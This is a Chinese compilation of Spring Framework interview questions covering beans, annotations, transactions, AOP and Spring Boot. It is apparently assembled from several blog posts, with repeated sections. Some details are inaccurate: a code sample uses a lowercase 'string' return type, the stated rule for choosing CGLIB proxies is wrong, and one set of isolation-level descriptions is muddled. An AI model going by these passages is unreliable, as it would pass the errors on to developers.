两种依赖方式都可以使用,构造器注入和Setter方法注入。最好的解决方案是用构造器参数实现强制依赖,setter方法实现可选依赖。
Spring Beans(19)
什么是Spring beans?
Spring beans 是那些形成Spring应用的主干的java对象。它们被Spring IOC容器初始化,装配,和管理。这些beans通过容器中配置的元数据创建。比如,以XML文件中 的形式定义。
一个 Spring Bean 定义 包含什么?
一个Spring Bean 的定义包含容器必知的所有配置元数据,包括如何创建一个bean,它的生命周期详情及它的依赖。
如何给Spring 容器提供配置元数据?Spring有几种配置方式
这里有三种重要的方法给Spring 容器提供配置元数据。
XML配置文件。
基于注解的配置。
基于java的配置。
Spring配置文件包含了哪些信息
Spring配置文件是个XML 文件,这个文件包含了类信息,描述了如何配置它们,以及如何相互调用。
Spring基于xml注入bean的几种方式
Set方法注入;
构造器注入:①通过index设置参数的位置;②通过type设置参数类型;
静态工厂注入;
实例工厂;
你怎样定义类的作用域?
当定义一个 在Spring里,我们还能给这个bean声明一个作用域。它可以通过bean 定义中的scope属性来定义。如,当Spring要在需要的时候每次生产一个新的bean实例,bean的scope属性被指定为prototype。另一方面,一个bean每次使用的时候必须返回同一个实例,这个bean的scope 属性 必须设为 singleton。
解释Spring支持的几种bean的作用域
Spring框架支持以下五种bean的作用域:
singleton : bean在每个Spring ioc 容器中只有一个实例。
prototype:一个bean的定义可以有多个实例。
request:每次http请求都会创建一个bean,该作用域仅在基于web的Spring ApplicationContext情形下有效。
session:在一个HTTP Session中,一个bean定义对应一个实例。该作用域仅在基于web的Spring ApplicationContext情形下有效。
global-session:在一个全局的HTTP Session中,一个bean定义对应一个实例。该作用域仅在基于web的Spring ApplicationContext情形下有效。
注意: 缺省的Spring bean 的作用域是Singleton。使用 prototype 作用域需要慎重的思考,因为频繁创建和销毁 bean 会带来很大的性能开销。
Spring框架中的单例bean是线程安全的吗?
不是,Spring框架中的单例bean不是线程安全的。
spring 中的 bean 默认是单例模式,spring 框架并没有对单例 bean 进行多线程的封装处理。
实际上大部分时候 spring bean 无状态的(比如 dao 类),所有某种程度上来说 bean 也是安全的,但如果 bean 有状态的话(比如 view model 对象),那就要开发者自己去保证线程安全了,最简单的就是改变 bean 的作用域,把“singleton”变更为“prototype”,这样请求 bean 相当于 new Bean()了,所以就可以保证线程安全了。
有状态就是有数据存储功能。
无状态就是不会保存数据。
Spring如何处理线程并发问题?
在一般情况下,只有无状态的Bean才可以在多线程环境下共享,在Spring中,绝大部分Bean都可以声明为singleton作用域,因为Spring对一些Bean中非线程安全状态采用ThreadLocal进行处理,解决线程安全问题。
ThreadLocal和线程同步机制都是为了解决多线程中相同变量的访问冲突问题。同步机制采用了“时间换空间”的方式,仅提供一份变量,不同的线程在访问前需要获取锁,没获得锁的线程则需要排队。而ThreadLocal采用了“空间换时间”的方式。
ThreadLocal会为每一个线程提供一个独立的变量副本,从而隔离了多个线程对数据的访问冲突。因为每一个线程都拥有自己的变量副本,从而也就没有必要对该变量进行同步了。ThreadLocal提供了线程安全的共享对象,在编写多线程代码时,可以把不安全的变量封装进ThreadLocal。
解释Spring框架中bean的生命周期
在传统的Java应用中,bean的生命周期很简单。使用Java关键字new进行bean实例化,然后该bean就可以使用了。一旦该bean不再被使用,则由Java自动进行垃圾回收。相比之下,Spring容器中的bean的生命周期就显得相对复杂多了。正确理解Spring bean的生命周期非常重要,因为你或许要利用Spring提供的扩展点来自定义bean的创建过程。下图展示了bean装载到Spring应用上下文中的一个典型的生命周期过程。
Spring注解(8)
什么是基于Java的Spring注解配置? 给一些注解的例子
基于Java的配置,允许你在少量的Java注解的帮助下,进行你的大部分Spring配置而非通过XML文件。
以@Configuration 注解为例,它用来标记类可以当做一个bean的定义,被Spring IOC容器使用。
另一个例子是@Bean注解,它表示此方法将要返回一个对象,作为一个bean注册进Spring应用上下文。
@Configuration
public class StudentConfig {
@Bean
public StudentBean myStudent() {
return new StudentBean();
}
}
怎样开启注解装配?
注解装配在默认情况下是不开启的,为了使用注解装配,我们必须在Spring配置文件中配置 context:annotation-config/元素。
@Component, @Controller, @Repository, @Service 有何区别?
@Component:这将 java 类标记为 bean。它是任何 Spring 管理组件的通用构造型。spring 的组件扫描机制现在可以将其拾取并将其拉入应用程序环境中。
@Controller:这将一个类标记为 Spring Web MVC 控制器。标有它的 Bean 会自动导入到 IoC 容器中。
@Service:此注解是组件注解的特化。它不会对 @Component 注解提供任何其他行为。您可以在服务层类中使用 @Service 而不是 @Component,因为它以更好的方式指定了意图。
@Repository:这个注解是具有类似用途和功能的 @Component 注解的特化。它为 DAO 提供了额外的好处。它将 DAO 导入 IoC 容器,并使未经检查的异常有资格转换为 Spring DataAccessException。
@Required 注解有什么作用
这个注解表明bean的属性必须在配置的时候设置,通过一个bean定义的显式的属性值或通过自动装配,若@Required注解的bean属性未被设置,容器将抛出BeanInitializationException。示例:
public class Employee {
private String name;
@Required
public void setName(String name){
this.name=name;
}
public string getName(){
return name;
}
}
@Autowired 注解有什么作用
@Autowired默认是按照类型装配注入的,默认情况下它要求依赖对象必须存在(可以设置它required属性为false)。@Autowired 注解提供了更细粒度的控制,包括在何处以及如何完成自动装配。它的用法和@Required一样,修饰setter方法、构造器、属性或者具有任意名称和/或多个参数的PN方法。
public class Employee {
private String name;
@Autowired
public void setName(String name) {
this.name=name;
}
public string getName(){
return name;
}
}
@Autowired和@Resource之间的区别
@Autowired可用于:构造函数、成员变量、Setter方法
@Autowired和@Resource之间的区别
@Autowired默认是按照类型装配注入的,默认情况下它要求依赖对象必须存在(可以设置它required属性为false)。
@Resource默认是按照名称来装配注入的,只有当找不到与名称匹配的bean才会按照类型来装配注入。
@Qualifier 注解有什么作用
当您创建多个相同类型的 bean 并希望仅使用属性装配其中一个 bean 时,您可以使用@Qualifier 注解和 @Autowired 通过指定应该装配哪个确切的 bean 来消除歧义。
@RequestMapping 注解有什么用?
@RequestMapping 注解用于将特定 HTTP 请求方法映射到将处理相应请求的控制器中的特定类/方法。此注释可应用于两个级别:
类级别:映射请求的 URL
方法级别:映射 URL 以及 HTTP 请求方法
Spring支持的事务管理类型, spring 事务实现方式有哪些?
Spring支持两种类型的事务管理:
编程式事务管理:这意味你通过编程的方式管理事务,给你带来极大的灵活性,但是难维护。
声明式事务管理:这意味着你可以将业务代码和事务管理分离,你只需用注解和XML配置来管理事务。
Spring事务的实现方式和实现原理
Spring事务的本质其实就是数据库对事务的支持,没有数据库的事务支持,spring是无法提供事务功能的。真正的数据库层的事务提交和回滚是通过binlog或者redo log实现的。
说一下Spring的事务传播行为
spring事务的传播行为说的是,当多个事务同时存在的时候,spring如何处理这些事务的行为。
① PROPAGATION_REQUIRED:如果当前没有事务,就创建一个新事务,如果当前存在事务,就加入该事务,该设置是最常用的设置。
② PROPAGATION_SUPPORTS:支持当前事务,如果当前存在事务,就加入该事务,如果当前不存在事务,就以非事务执行。
③ PROPAGATION_MANDATORY:支持当前事务,如果当前存在事务,就加入该事务,如果当前不存在事务,就抛出异常。
④ PROPAGATION_REQUIRES_NEW:创建新事务,无论当前存不存在事务,都创建新事务。
⑤ PROPAGATION_NOT_SUPPORTED:以非事务方式执行操作,如果当前存在事务,就把当前事务挂起。
⑥ PROPAGATION_NEVER:以非事务方式执行,如果当前存在事务,则抛出异常。
⑦ PROPAGATION_NESTED:如果当前存在事务,则在嵌套事务内执行。如果当前没有事务,则按REQUIRED属性执行。
说一下 spring 的事务隔离?
spring 有五大隔离级别,默认值为 ISOLATION_DEFAULT(使用数据库的设置),其他四个隔离级别和数据库的隔离级别一致:
ISOLATION_DEFAULT:用底层数据库的设置隔离级别,数据库设置的是什么我就用什么;
ISOLATION_READ_UNCOMMITTED:未提交读,最低隔离级别、事务未提交前,就可被其他事务读取(会出现幻读、脏读、不可重复读);
ISOLATION_READ_COMMITTED:提交读,一个事务提交后才能被其他事务读取到(会造成幻读、不可重复读),SQL server 的默认级别;
ISOLATION_REPEATABLE_READ:可重复读,保证多次读取同一个数据时,其值都和事务开始时候的内容是一致,禁止读取到别的事务未提交的数据(会造成幻读),MySQL 的默认级别;
ISOLATION_SERIALIZABLE:序列化,代价最高最可靠的隔离级别,该隔离级别能防止脏读、不可重复读、幻读。
脏读 :表示一个事务能够读取另一个事务中还未提交的数据。比如,某个事务尝试插入记录 A,此时该事务还未提交,然后另一个事务尝试读取到了记录 A。
不可重复读 :是指在一个事务内,多次读同一数据。
幻读 :指同一个事务内多次查询返回的结果集不一样。比如同一个事务 A 第一次查询时候有 n 条记录,但是第二次同等条件下查询却有 n+1 条记录,这就好像产生了幻觉。发生幻读的原因也是另外一个事务新增或者删除或者修改了第一个事务结果集里面的数据,同一个记录的数据内容被修改了,所有数据行的记录就变多或者变少了。
为不同的事务API 如 JTA,JDBC,Hibernate,JPA 和JDO,提供一个不变的编程模式。
为编程式事务管理提供了一套简单的API而不是一些复杂的事务API
支持声明式事务管理。
和Spring各种数据访问抽象层很好得集成。
大多数Spring框架的用户选择声明式事务管理,因为它对应用代码的影响最小,因此更符合一个无侵入的轻量级容器的思想。声明式事务管理要优于编程式事务管理,虽然比编程式事务管理(这种方式允许你通过代码控制事务)少了一点灵活性。唯一不足地方是,最细粒度只能作用到方法级别,无法做到像编程式事务那样可以作用到代码块级别。
OOP(Object-Oriented Programming)面向对象编程,允许开发者定义纵向的关系,但并适用于定义横向的关系,导致了大量代码的重复,而不利于各个模块的重用。
AOP(Aspect-Oriented Programming),一般称为面向切面编程,作为面向对象的一种补充,用于将那些与业务无关,但却对多个对象产生影响的公共行为和逻辑,抽取并封装为一个可重用的模块,这个模块被命名为“切面”(Aspect),减少系统中的重复代码,降低了模块间的耦合度,同时提高了系统的可维护性。可用于权限认证、日志、事务处理等。
AOP 有哪些实现方式?
AOP实现的关键在于 代理模式,AOP代理主要分为静态代理和动态代理。静态代理的代表为AspectJ;动态代理则以Spring AOP为代表。
(1)AspectJ是静态代理的增强,所谓静态代理,就是AOP框架会在编译阶段生成AOP代理类,因此也称为编译时增强,他会在编译阶段将AspectJ(切面)织入到Java字节码中,运行的时候就是增强之后的AOP对象。
(2)Spring AOP使用的动态代理,所谓的动态代理就是说AOP框架不会去修改字节码,而是每次运行时在内存中临时为方法生成一个AOP对象,这个AOP对象包含了目标对象的全部方法,并且在特定的切点做了增强处理,并回调原对象的方法。
JDK动态代理和CGLIB动态代理的区别
Spring AOP中的动态代理主要有两种方式,JDK动态代理和CGLIB动态代理:
JDK动态代理只提供接口的代理,不支持类的代理。核心InvocationHandler接口和Proxy类,InvocationHandler 通过invoke()方法反射来调用目标类中的代码,动态地将横切逻辑和业务编织在一起;接着,Proxy利用 InvocationHandler动态创建一个符合某一接口的的实例, 生成目标类的代理对象。
如果代理类没有实现 InvocationHandler 接口,那么Spring AOP会选择使用CGLIB来动态代理目标类。CGLIB(Code Generation Library),是一个代码生成的类库,可以在运行时动态的生成指定类的一个子类对象,并覆盖其中特定方法并添加增强代码,从而实现AOP。CGLIB是通过继承的方式做的动态代理,因此如果某个类被标记为final,那么它是无法使用CGLIB做动态代理的。
静态代理与动态代理区别在于生成AOP代理对象的时机不同,相对来说AspectJ的静态代理方式具有更好的性能,但是AspectJ需要特定的编译器进行处理,而Spring AOP则无需特定的编译器处理。
InvocationHandler 的 invoke(Object proxy,Method method,Object[] args):proxy是最终生成的代理实例; method 是被代理目标实例的某个具体方法; args 是被代理目标实例某个方法的具体入参, 在方法反射调用时使用。
将 Advice 应用于目标对象后创建的对象称为代理。在客户端对象的情况下,目标对象和代理对象是相同的。
Advice + Target Object = Proxy
解释一下Spring AOP里面的几个名词
(1)切面(Aspect):切面是通知和切点的结合。通知和切点共同定义了切面的全部内容。 在Spring AOP中,切面可以使用通用类(基于模式的风格) 或者在普通类中以 @AspectJ 注解来实现。
(2)连接点(Join point):指方法,在Spring AOP中,一个连接点 总是 代表一个方法的执行。 应用可能有数以千计的时机应用通知。这些时机被称为连接点。连接点是在应用执行过程中能够插入切面的一个点。这个点可以是调用方法时、抛出异常时、甚至修改一个字段时。切面代码可以利用这些点插入到应用的正常流程之中,并添加新的行为。
(3)通知(Advice):在AOP术语中,切面的工作被称为通知。
(4)切入点(Pointcut):切点的定义会匹配通知所要织入的一个或多个连接点。我们通常使用明确的类和方法名称,或是利用正则表达式定义所匹配的类和方法名称来指定这些切点。
(5)引入(Introduction):引入允许我们向现有类添加新方法或属性。
(6)目标对象(Target Object): 被一个或者多个切面(aspect)所通知(advise)的对象。它通常是一个代理对象。也有人把它叫做 被通知(adviced) 对象。 既然Spring AOP是通过运行时代理实现的,这个对象永远是一个 被代理(proxied) 对象。
(7)织入(Weaving):织入是把切面应用到目标对象并创建新的代理对象的过程。在目标对象的生命周期里有多少个点可以进行织入:
编译期:切面在目标类编译时被织入。AspectJ的织入编译器是以这种方式织入切面的。
类加载期:切面在目标类加载到JVM时被织入。需要特殊的类加载器,它可以在目标类被引入应用之前增强该目标类的字节码。AspectJ5的加载时织入就支持以这种方式织入切面。
运行期:切面在应用运行的某个时刻被织入。一般情况下,在织入切面时,AOP容器会为目标对象动态地创建一个代理对象。SpringAOP就是以这种方式织入切面。
通过在代理类中包裹切面,Spring在运行期把切面织入到Spring管理的bean中。代理封装了目标类,并拦截被通知方法的调用,再把调用转发给真正的目标bean。当代理拦截到方法调用时,在调用目标bean方法之前,会执行切面逻辑。
直到应用需要被代理的bean时,Spring才创建代理对象。如果使用的是ApplicationContext的话,在ApplicationContext从BeanFactory中加载所有bean的时候,Spring才会创建被代理的对象。因为Spring运行时才创建代理对象,所以我们不需要特殊的编译器来织入SpringAOP的切面。
Spring只支持方法级别的连接点
因为Spring基于动态代理,所以Spring只支持方法连接点。Spring缺少对字段连接点的支持,而且它不支持构造器连接点。方法之外的连接点拦截功能,我们可以利用Aspect来补充。
在Spring AOP 中,关注点和横切关注的区别是什么?在 spring aop 中 concern 和 cross-cutting concern 的不同之处
关注点(concern)是应用中一个模块的行为,一个关注点可能会被定义成一个我们想实现的一个功能。
横切关注点(cross-cutting concern)是一个关注点,此关注点是整个应用都会使用的功能,并影响整个应用,比如日志,安全和数据传输,几乎应用的每个模块都需要的功能。因此这些都属于横切关注点。
Spring通知有哪些类型?
在AOP术语中,切面的工作被称为通知,实际上是程序执行时要通过SpringAOP框架触发的代码段。
前置通知(Before):在目标方法被调用之前调用通知功能;
后置通知(After):在目标方法完成之后调用通知,此时不会关心方法的输出是什么;
返回通知(After-returning ):在目标方法成功执行之后调用通知;
异常通知(After-throwing):在目标方法抛出异常后调用通知;
环绕通知(Around):通知包裹了被通知的方法,在被通知的方法调用之前和调用之后执行自定义的行为。同一个aspect,不同advice的执行顺序:
①没有异常情况下的执行顺序:
around before advice
before advice
target method 执行
around after advice
after advice
afterReturning
②有异常情况下的执行顺序:
around before advice
before advice
target method 执行
around after advice
after advice
afterThrowing:异常发生
java.lang.RuntimeException: 异常发生
aspect 由 pointcount 和 advice 组成,切面是通知和切点的结合。 它既包含了横切逻辑的定义, 也包括了连接点的定义. Spring AOP 就是负责实施切面的框架, 它将切面所定义的横切逻辑编织到切面所指定的连接点中.
AOP 的工作重心在于如何将增强编织目标对象的连接点上, 这里包含两个工作:
如何通过 pointcut 和 advice 定位到特定的 joinpoint 上
如何在 advice 中编写切面代码.
可以简单地认为, 使用 @Aspect 注解的类就是切面.
首先说一下Servlet的生命周期:实例化,初始init,接收请求service,销毁destroy;
Spring上下文中的Bean生命周期也类似,如下:
(1)实例化Bean:
对于BeanFactory容器,当客户向容器请求一个尚未初始化的bean时,或初始化bean的时候需要注入另一个尚未初始化的依赖时,容器就会调用createBean进行实例化。对于ApplicationContext容器,当容器启动结束后,通过获取BeanDefinition对象中的信息,实例化所有的bean。
(2)设置对象属性(依赖注入):
实例化后的对象被封装在BeanWrapper对象中,紧接着,Spring根据BeanDefinition中的信息 以及 通过BeanWrapper提供的设置属性的接口完成依赖注入。
(3)处理Aware接口:
接着,Spring会检测该对象是否实现了xxxAware接口,并将相关的xxxAware实例注入给Bean:
①如果这个Bean已经实现了BeanNameAware接口,会调用它实现的setBeanName(String beanId)方法,此处传递的就是Spring配置文件中Bean的id值;
②如果这个Bean已经实现了BeanFactoryAware接口,会调用它实现的setBeanFactory()方法,传递的是Spring工厂自身。
③如果这个Bean已经实现了ApplicationContextAware接口,会调用setApplicationContext(ApplicationContext)方法,传入Spring上下文;
(4)BeanPostProcessor:
如果想对Bean进行一些自定义的处理,那么可以让Bean实现了BeanPostProcessor接口,那将会调用postProcessBeforeInitialization(Object obj, String s)方法。
(5)InitializingBean 与 init-method:
如果Bean在Spring配置文件中配置了 init-method 属性,则会自动调用其配置的初始化方法。
(6)如果这个Bean实现了BeanPostProcessor接口,将会调用postProcessAfterInitialization(Object obj, String s)方法;由于这个方法是在Bean初始化结束时调用的,所以可以被应用于内存或缓存技术;
以上几个步骤完成后,Bean就已经被正确创建了,之后就可以使用这个Bean了。
(7)DisposableBean:
当Bean不再需要时,会经过清理阶段,如果Bean实现了DisposableBean这个接口,会调用其实现的destroy()方法;
(8)destroy-method:
最后,如果这个Bean的Spring配置中配置了destroy-method属性,会自动调用其配置的销毁方法。
解释Spring支持的几种bean的作用域。
Spring容器中的bean可以分为5个范围:
(1)singleton:默认,每个容器中只有一个bean的实例,单例的模式由BeanFactory自身来维护。
(2)prototype:为每一个bean请求提供一个实例。
(3)request:为每一个网络请求创建一个实例,在请求完成以后,bean会失效并被垃圾回收器回收。
(4)session:与request范围类似,确保每个session中有一个bean的实例,在session过期后,bean会随之失效。
(5)global-session:全局作用域,global-session和Portlet应用相关。当你的应用部署在Portlet容器中工作时,它包含很多portlet。如果你想要声明让所有的portlet共用全局的存储变量的话,那么这全局变量需要存储在global-session中。全局作用域与Servlet中的session作用域效果相同。
8、Spring框架中的单例Beans是线程安全的么?
Spring框架并没有对单例bean进行任何多线程的封装处理。关于单例bean的线程安全和并发问题需要开发者自行去搞定。但实际上,大部分的Spring bean并没有可变的状态(比如Serview类和DAO类),所以在某种程度上说Spring的单例bean是线程安全的。如果你的bean有多种状态的话(比如 View Model 对象),就需要自行保证线程安全。最浅显的解决办法就是将多态bean的作用域由“singleton”变更为“prototype”。
9、Spring如何处理线程并发问题?
在一般情况下,只有无状态的Bean才可以在多线程环境下共享,在Spring中,绝大部分Bean都可以声明为singleton作用域,因为Spring对一些Bean中非线程安全状态采用ThreadLocal进行处理,解决线程安全问题。
ThreadLocal和线程同步机制都是为了解决多线程中相同变量的访问冲突问题。同步机制采用了“时间换空间”的方式,仅提供一份变量,不同的线程在访问前需要获取锁,没获得锁的线程则需要排队。而ThreadLocal采用了“空间换时间”的方式。
ThreadLocal会为每一个线程提供一个独立的变量副本,从而隔离了多个线程对数据的访问冲突。因为每一个线程都拥有自己的变量副本,从而也就没有必要对该变量进行同步了。ThreadLocal提供了线程安全的共享对象,在编写多线程代码时,可以把不安全的变量封装进ThreadLocal。
10-1、Spring基于xml注入bean的几种方式:
(1)Set方法注入;
(2)构造器注入:①通过index设置参数的位置;②通过type设置参数类型;
(3)静态工厂注入;
(4)实例工厂;
详细内容可以阅读:https://www.iteye.com/blog/blessht-1162131
10-2、Spring的自动装配:
在spring中,对象无需自己查找或创建与其关联的其他对象,由容器负责把需要相互协作的对象引用赋予各个对象,使用autowire来配置自动装载模式。
在Spring框架xml配置中共有5种自动装配:
(1)no:默认的方式是不进行自动装配的,通过手工设置ref属性来进行装配bean。
(2)byName:通过bean的名称进行自动装配,如果一个bean的 property 与另一bean 的name 相同,就进行自动装配。
(3)byType:通过参数的数据类型进行自动装配。
(4)constructor:利用构造函数进行装配,并且构造函数的参数通过byType进行装配。
(5)autodetect:自动探测,如果有构造方法,通过 construct的方式自动装配,否则使用 byType的方式自动装配。
基于注解的方式:
使用@Autowired注解来自动装配指定的bean。在使用@Autowired注解之前需要在Spring配置文件进行配置,
如果查询结果刚好为一个,就将该bean装配给@Autowired指定的数据;
如果查询的结果不止一个,那么@Autowired会根据名称来查找;
如果上述查找的结果为空,那么会抛出异常。解决方法时,使用required=false。
@Autowired可用于:构造函数、成员变量、Setter方法
注:@Autowired和@Resource之间的区别
(1) @Autowired默认是按照类型装配注入的,默认情况下它要求依赖对象必须存在(可以设置它required属性为false)。
(2) @Resource默认是按照名称来装配注入的,只有当找不到与名称匹配的bean才会按照类型来装配注入。
(1)工厂模式:BeanFactory就是简单工厂模式的体现,用来创建对象的实例;
(2)单例模式:Bean默认为单例模式。
(3)代理模式:Spring的AOP功能用到了JDK的动态代理和CGLIB字节码生成技术;
(4)模板方法:用来解决代码重复的问题。比如. RestTemplate, JmsTemplate, JpaTemplate。
(5)观察者模式:定义对象键一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都会得到通知被制动更新,如Spring中listener的实现–ApplicationListener。
Spring事务管理的实现有许多细节,如果对整个接口框架有个大体了解会非常有利于我们理解事务,下面通过讲解Spring的事务接口来了解Spring实现事务的具体策略。
Spring事务管理涉及的接口的联系如下:
spring开启事务有两种:
只需要在方法头上加一个注解@Transactional即可:
在需要开启事务的方法中,输入以下代码即可:
@Autowired
private PlatformTransactionManager txManager;
// 开启事务管理
DefaultTransactionDefinition def = new DefaultTransactionDefinition();
def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED);
TransactionStatus status = txManager.getTransaction(def);
try {
//操作都放在这里
}catch(Exception e){
//这里是异常处理
}
txManager.commit(status);//事务提交
1:如果数据库不支持事务,则失效
因为事务是作用于数据库。例如使用MySQL且引擎是MyISAM,则事务会不起作用,因为MyISAM引擎本身不支持事务;如果改成InnoDB,则可以。
2:Service类没有被Spring管理
因为Spring的事务是基于AOP,所以如果Service类没有被Spring管理,变成一个Spring Bean,即使添加了@Transactional注解,事务也是无效的。
**3:**内部调用
不带事务的方法调用该类中带事务的方法,不会回滚。因为Spring的回滚是用过代理模式生成的,如果是一个不带事务的方法调用该类的带事务的方法,直接通过this.xxx()
调用,而不生成代理事务,所以事务不起作用。常见解决方法“拆类”。
4:使用默认的事务处理方式
Spring的事务默认是对RuntimeException进行回滚,而不继承RuntimeException的不回滚。因为在java的设计中,它认为不继承RuntimeException的异常是CheckException或普通异常,如IOException,这些异常在java语法中是要求强制处理的。对于这些普通异常,Spring默认它们都已经处理,所以默认不回滚。可以添加rollbackfor=Exception.class来表示所有的Exception都回滚。
5:事务只能应用于 public 方法
@Transactional注解只能应用于public方法,如果你在protected、private或者默认可见性的方法上使用 @Transactional 注解,这将被忽略,也不会抛出任何异常。
6数据源没有配置事务管理器
参考文章:spring对事务的管理
一:编程式的事务管理
通过TransactionTemplate手动管理事务
在实际应用中很少使用,原因是要修改原来的代码,加入事务管理代码 (侵入性 )
二:声明式事务管理(XML配置文件方式或注解方式)
Spring的声明式事务是通过AOP实现的(环绕通知)
开发中经常使用(代码侵入性最小)–推荐使用!
注:后面会演示声明式事务管理的两种方式:xml配置文件方式和注解方式,不演示编程式方式
编程式事务管理:Spring推荐使用TransactionTemplate,实际开发中使用声明式事务较多。
声明式事务管理:将我们从复杂的事务处理中解脱出来,获取连接,关闭连接、事务提交、回滚、异常处理等这些操作都不用我们处理了,Spring都会帮我们处理。
声明式事务管理使用了AOP面向切面编程实现的,本质就是在目标方法执行前后进行拦截。在目标方法执行前加入或创建一个事务,在执行方法执行后,根据实际情况选择提交或是回滚事务。
参考 Spring对事务管理的支持 此文章。
Spring事务的本质其实就是数据库对事务的支持,没有数据库的事务支持,spring是无法提供事务功能的。真正的数据库层的事务提交和回滚是通过binlog或者redo log实现的。
spring支持编程式事务管理和声明式事务管理两种方式:
①编程式事务管理使用TransactionTemplate。
②声明式事务管理建立在AOP之上的。其本质是通过AOP功能,对方法前后进行拦截,将事务处理的功能编织到拦截的方法中,也就是在目标方法开始之前加入一个事务,在执行完目标方法之后根据执行情况提交或者回滚事务。
声明式事务最大的优点就是不需要在业务逻辑代码中掺杂事务管理的代码,只需在配置文件中做相关的事务规则声明或通过@Transactional注解的方式,便可以将事务规则应用到业务逻辑中。
声明式事务管理要优于编程式事务管理,这正是spring倡导的非侵入式的开发方式,使业务代码不受污染,只要加上注解就可以获得完全的事务支持。唯一不足地方是,最细粒度只能作用到方法级别,无法做到像编程式事务那样可以作用到代码块级别。
spring事务的传播行为说的是,当多个事务同时存在的时候,spring是如何处理这些事务的行为。
① PROPAGATION_REQUIRED:如果当前没有事务,就创建一个新事务,如果当前存在事务,就加入该事务,该设置是最常用的设置。
② PROPAGATION_SUPPORTS:支持当前事务,如果当前存在事务,就加入该事务,如果当前不存在事务,就以非事务执行。‘
③ PROPAGATION_MANDATORY:支持当前事务,如果当前存在事务,就加入该事务,如果当前不存在事务,就抛出异常。
④ PROPAGATION_REQUIRES_NEW:创建新事务,无论当前存不存在事务,都创建新事务。
⑤ PROPAGATION_NOT_SUPPORTED:以非事务方式执行操作,如果当前存在事务,就把当前事务挂起。
⑥ PROPAGATION_NEVER:以非事务方式执行,如果当前存在事务,则抛出异常。
⑦ PROPAGATION_NESTED:如果当前存在事务,则在嵌套事务内执行。如果当前没有事务,则按REQUIRED属性执行。
① ISOLATION_DEFAULT:这是个 PlatfromTransactionManager 默认的隔离级别,使用数据库默认的事务隔离级别。
② ISOLATION_READ_UNCOMMITTED:读未提交,允许另外一个事务可以看到这个事务未提交的数据。
③ ISOLATION_READ_COMMITTED:读已提交,保证一个事务修改的数据提交后才能被另一事务读取,而且能看到该事务对已有记录的更新。
④ ISOLATION_REPEATABLE_READ:可重复读,保证一个事务修改的数据提交后才能被另一事务读取,但是不能看到该事务对已有记录的更新。
⑤ ISOLATION_SERIALIZABLE:一个事务在执行的过程中完全看不到其他事务对数据库所做的更新。
配置文件配置方式:
<tx:advice id="txAdvice" transaction-manager="txManager">
<tx:attributes>
<!--设置所有匹配的方法,然后设置传播级别和事务隔离-->
<tx:method name="save*" propagation="REQUIRED" />
<tx:method name="add*" propagation="REQUIRED" />
<tx:method name="create*" propagation="REQUIRED" />
<tx:method name="insert*" propagation="REQUIRED" />
<tx:method name="update*" propagation="REQUIRED" />
<tx:method name="merge*" propagation="REQUIRED" />
<tx:method name="del*" propagation="REQUIRED" />
<tx:method name="remove*" propagation="REQUIRED" />
<tx:method name="put*" propagation="REQUIRED" />
<tx:method name="get*" propagation="SUPPORTS" read-only="true" />
<tx:method name="count*" propagation="SUPPORTS" read-only="true" />
<tx:method name="find*" propagation="SUPPORTS" read-only="true" />
<tx:method name="list*" propagation="SUPPORTS" read-only="true" />
<tx:method name="*" propagation="SUPPORTS" read-only="true" />
</tx:attributes>
</tx:advice>
注解的方式:
<!--开启注解的方式-->
<tx:annotation-driven transaction-manager="transactioManager" />
@Transactional(propagation=Propagation.REQUIRED)
如果有事务, 那么加入事务, 没有的话新建一个(默认情况下)
@Transactional(propagation=Propagation.NOT_SUPPORTED)
容器不为这个方法开启事务
@Transactional(propagation=Propagation.REQUIRES_NEW)
不管是否存在事务,都创建一个新的事务,原来的挂起,新的执行完毕,继续执行老的事务
@Transactional(propagation=Propagation.MANDATORY)
必须在一个已有的事务中执行,否则抛出异常
@Transactional(propagation=Propagation.NEVER)
必须在一个没有的事务中执行,否则抛出异常(与Propagation.MANDATORY相反)
@Transactional(propagation=Propagation.SUPPORTS)
如果其他bean调用这个方法,在其他bean中声明事务,那就用事务.如果其他bean没有声明事务,那就不用事务.
Spring 提供了以下5种标准的事件:
(1)上下文更新事件(ContextRefreshedEvent):在调用ConfigurableApplicationContext 接口中的refresh()方法时被触发。
(2)上下文开始事件(ContextStartedEvent):当容器调用ConfigurableApplicationContext的Start()方法开始/重新开始容器时触发该事件。
(3)上下文停止事件(ContextStoppedEvent):当容器调用ConfigurableApplicationContext的Stop()方法停止容器时触发该事件。
(4)上下文关闭事件(ContextClosedEvent):当ApplicationContext被关闭时触发该事件。容器被关闭时,其管理的所有单例Bean都被销毁。
(5)请求处理事件(RequestHandledEvent):在Web应用中,当一个http请求(request)结束触发该事件。
如果一个bean实现了ApplicationListener接口,当一个ApplicationEvent 被发布以后,bean会自动被通知。
参考的url
Spring Boot 是 Spring 开源组织下的子项目,是 Spring 组件一站式解决方案,主要是简化了使用 Spring 的难度,简省了繁重的配置,提供了各种启动器,开发者能快速上手。
容易上手,提升开发效率,为 Spring 开发提供一个更快、更广泛的入门体验。
开箱即用,远离繁琐的配置。
提供了一系列大型项目通用的非业务性功能,例如:内嵌服务器、安全管理、运行数据监控、运行状况检查和外部化配置等。
没有代码生成,也不需要XML配置。
避免大量的 Maven 导入和各种版本冲突。
由以下注解组成
启动类上面的注解是@SpringBootApplication,它也是 Spring Boot 的核心注解,主要组合包含了以下 3 个注解:
@SpringBootConfiguration:组合了 @Configuration 注解,实现配置文件的功能。
@EnableAutoConfiguration:打开自动配置的功能,也可以关闭某个自动配置的选项,如关闭数据源自动配置功能: @SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })。
@ComponentScan:Spring组件扫描。
配置
Spring JavaConfig 是 Spring 社区的产品,它提供了配置 Spring IoC 容器的纯Java 方法。因此它有助于避免使用 XML 配置。使用 JavaConfig 的优点在于:
(1)面向对象的配置。由于配置被定义为 JavaConfig 中的类,因此用户可以充分利用 Java 中的面向对象功能。一个配置类可以继承另一个,重写它的@Bean 方法等。
(2)减少或消除 XML 配置。基于依赖注入原则的外化配置的好处已被证明。但是,许多开发人员不希望在 XML 和 Java 之间来回切换。JavaConfig 为开发人员提供了一种纯 Java 方法来配置与 XML 配置概念相似的 Spring 容器。从技术角度来讲,只使用 JavaConfig 配置类来配置容器是可行的,但实际上很多人认为将JavaConfig 与 XML 混合匹配是理想的。
(3)类型安全和重构友好。JavaConfig 提供了一种类型安全的方法来配置 Spring容器。由于 Java 5.0 对泛型的支持,现在可以按类型而不是按名称检索 bean,不需要任何强制转换或基于字符串的查找。
